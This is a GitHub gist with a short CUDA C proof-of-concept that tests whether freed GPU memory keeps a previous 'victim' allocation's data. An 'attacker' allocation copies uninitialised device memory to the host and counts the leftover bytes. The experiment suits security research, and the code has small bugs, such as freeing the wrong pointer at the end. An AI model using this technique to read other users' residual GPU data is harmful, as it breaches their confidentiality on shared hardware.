Skip to content

Instantly share code, notes, and snippets.

@edenidan
Last active December 19, 2020 01:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save edenidan/9201e037fb61c4d77dd7bfcf64e51388 to your computer and use it in GitHub Desktop.
Save edenidan/9201e037fb61c4d77dd7bfcf64e51388 to your computer and use it in GitHub Desktop.
Trying to leak data from GPU kernel/memory using CUDA
#include<stdio.h>
#include<malloc.h>
#include <cuda_runtime.h>
#include<time.h>
#include<Windows.h>
#include<math.h>
#define SIZE pow(10,9)
int main()
{
unsigned char* a, * b;
cudaError_t e;
size_t free, total;
cudaMemGetInfo(&free, &total);
printf("Total memory: %d MB\n", (int)(total / pow(10, 6)));
printf("Free at initial state: %d MB\n", (int)(free / pow(10, 6)));
//alloc array
e = cudaMalloc(&a, SIZE * sizeof(unsigned char));
//init with 0xff
cudaMemset(a, 255, SIZE);
//free array
cudaFree(a);
//victim ends
//attacker
long aSize = free / 2;
//alloc all of the memory
e = cudaMalloc(&b, aSize);
//copy to cpu
unsigned char* onCPU = (unsigned char*)malloc(aSize);
e = cudaMemcpy(onCPU, b, aSize, cudaMemcpyDeviceToHost);
cudaDeviceSynchronize();
//analize data
long max = 0, seq = 0, ones = 0, zeros = 0, other = 0;
for (long i = 0; i < (aSize); i++)
{
if (onCPU[i] == 255)
{
ones++;
seq++;
}
else if (onCPU[i] == 0)
{
seq = 0;
zeros++;
}
else
{
seq = 0;
other++;
}
if (seq > max)
max = seq;
}
printf("max_seq: %ld, ones: %ld, zeros: %ld, other: %ld\n", max, ones, zeros, other);
cudaFree(a);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment